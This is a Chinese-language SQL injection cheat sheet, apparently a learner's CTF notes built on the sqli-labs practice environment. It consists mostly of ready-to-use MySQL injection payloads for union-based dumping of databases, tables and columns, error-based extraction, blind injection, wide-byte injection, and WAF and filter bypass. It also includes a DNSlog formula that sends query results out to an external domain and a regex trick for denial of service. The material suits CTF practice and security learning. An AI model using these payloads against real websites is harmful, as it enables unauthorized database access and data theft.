SQL注入备忘录
最近在用sql-lib
学sql注入,零零散散的笔记整了一大堆,现在整合一下,做个备忘录,方便比赛的时候方便查询。
典中典版本:
爆库版本
: ?id=-1' union select 1,database(),3--+
爆库
: ?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
爆表
: ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='数据库'#
爆字段
: ?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='数据表'#
这几个出来了,剩下的就不用我说了吧qwq
常用函数:
名称 | 作用 |
---|---|
system_user() | 系统用户名 |
user() | 用户名 |
session_user() | 连接数据库的用户名 |
database() | 数据库名 |
version() | MYSQL数据库版本 |
load_file() | MYSQL读取本地文件的函数 |
@@datadir | 读取数据库路径 |
@@basedir MYSQL | 安装路径 |
@@version_compile_os | 操作系统 |
报错注入:
extractvalue函数
都会,不解释了。
公式:extractvalue(数字,concat(0x7e,(查询语句),0x7e))
updatexml函数
都会,不解释了。
公式:updatexml(数字,concat(0x7e,(查询语句),0x7e),数字)
溢出报错
exp函数溢出 | mysql>5.5.53
原理:当传递一个大于 709 的值时,函数 exp() 就会引起一个溢出错误,用 ~ 运算符按位取反的方式得到一个最大值,该运算符也可以处理一个字符串,经过其处理的字符串会变成大一个很大整数足以超过 MySQL 的 Double 数组范围,从而报错输出。
1 | mysql> select ~(select version()); |
公式:select exp(~(select * from(查询语句)x));
支持load_file,最多13行
BIGINT溢出
差不多同样的原理,可以报错
公式:select 1+~(select*from(查询语句)x);
同理,其他的函数也可以这么干:
1 | select !atan((select*from(查询语句)a))-~0; |
其他能利用的函数…
1 | HEX |
group by 注入 | 表中的数据至少要为三条才可以注入成功
原理:group_by注入
公式:select count(*) from information_schema.tables group by concat((查询语句),floor(rand()*2));
效率比较低qwq而且还有猜错的可能
无select注入 | MySQL 8
浅谈利用mysql8新特性进行SQL注入
脚本搬到这里了
1 | ''' |
时间盲注
原理都会,不讲了。
ascii判断:if(ascii(substr(查询语句,1,1))>115,1,sleep(3))
left语句判断:if(left(查询语句,1)='s',sleep(10),1)
if(left(查询语句,2)='sa',sleep(10),1)
substring函数判断:if(substring((查询语句),1,1='a'),11111,sleep(1))
布尔注入
同时间盲注,没啥东西
二次注入
也没啥太多活能整,可以使用flask框架本地中转一下,把繁琐的步骤交给机器做。
堆叠注入
能同时执行多条语句,要求比较高,这时候可以使用预编译了。
可以参考这题整花活**[强网杯 2019]随便注**
BUUCTF[强网杯 2019]随便注 的三种解法
Dnslog注入
要求mysql权限比较高,同时还得能出网
公式:select load_file(concat('\\',(查询语句),'.DNSLOG给的域名/任意字符'
搜索注入
原理:mysql查询的时候,常用的是select * from sqltest where names like '%要查询的关键字%
这时候就可以闭合%
然后注入
宽字节注入 |使用了addslashes()函数 && 数据库设置了编码模式为GBK
原理: 前端输入%df时,首先经过addslashes()转义变成%df%5c%27,之后,在数据库查询前,因为设置了GBK编码,GBK编码在汉字编码范围内的两个字节都会重新编码成一个汉字。然后mysql服务器会对查询的语句进行GBK编码,%df%5c编码成了“运”,而单引号逃逸了出来,形成了注入漏洞。
1 | ?id=%df' and 1=1 --+ |
limit注入 | 数据库版本比较低
原理:Mysql下Limit注入方法
公式:SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,查询语句)),1);
Bypass
空格
两个空格代替一个空格,用Tab代替空格,%a0=空格,括号代替空格,注释/*注释*/
引号 | 十六进制
这个时候如果引号被过滤了,那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。users
的十六进制的字符串是7573657273
。那么最后的sql语句就变为了:
select column_name from information_schema.tables where table_name=0x7573657273
逗号
在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:
select substr(database() from 1 for 1);
select mid(database() from 1 for 1);
使用join:
union select 1,2#
等价于 union select * from (select 1)a join (select 2)b
使用like:
select ascii(mid(user(),1,1))=80 #
等价于 select user() like 'r%'
对于limit可以使用offset来绕过:
select * from news limit 0,1 #
等价于下面这条SQL语句 select * from news limit 1 offset 0
绕过比较符号()
(过滤了<>:sqlmap盲注经常使用<>,使用between的脚本):
使用greatest()、least():(前者返回最大值,后者返回最小值)
同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了。 最常见的一个盲注的sql语句:
select * from users where id=1 and ascii(substr(database(),0,1))>64
此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,…)函数返回输入参数(n1,n2,n3,…)的最大值。 那么上面的这条sql语句可以使用greatest变为如下的子句:
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
Between注入
主要用于盲注看页面是否有变化,原理如下,例如username的字符内容是test1,第一个字符是t,a到b搜索不了,页面不正常。 a到t就有了,页面正常
注between 1 and 1;
等价于 =1
WHERE
可以使用having ,但是having
只能用前面select
已经选择的列名
1 | select goods_price,goods_name from sw_goods where goods_price > 100 |
过滤information_schema
可以查表名:
- InnoDb引擎
从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。只需要把infromation_schema
换成mysql.innodb_table_stats
- sys数据库
在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns来获取表名。只需要把information_schema
换成sys.schema_auto_increment_columns
就行了,其他的完全一样
聊一聊bypass information_schema
之后就需要无列名注入了
SLEEP
睡不了?就想办法让sql干重活慢下来concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'
or and xor not绕过:
and=&&
or=||
xor=|
not=!
绕过注释符
(#,–(后面跟一个空格))过滤:
id=1' union select 1,2,3||'1
最后的or ‘1闭合查询语句的最后的单引号,或者:
id=1' union select 1,2,'3
绕过等于号
使用like 、rlike 、regexp 或者 使用< 或者 >
其他的bypass手段:
这个就看题目环境了,题目里随机多样,但是万变不离其宗。
Tircks
group by..with rollup - [SWPU2019]Web6
题目来源: [SWPU2019]Web6
此题开始进行sql注入,但是经过测试能发现注入点过滤很严格,使用with rollup
产生一个NULL NULL的数据,然后用直接登陆即可
Sqlmap科技
未完待续
相关链接:
Sqli通关
flask框架
exp函数溢出注入
MySQL注入指北
group_by注入
group_by报错注入
BIGINT报错注入
SQL注入关联分析
浅谈利用mysql8新特性进行SQL注入
SQL注入之无列名注入
group by..with rollup学习实例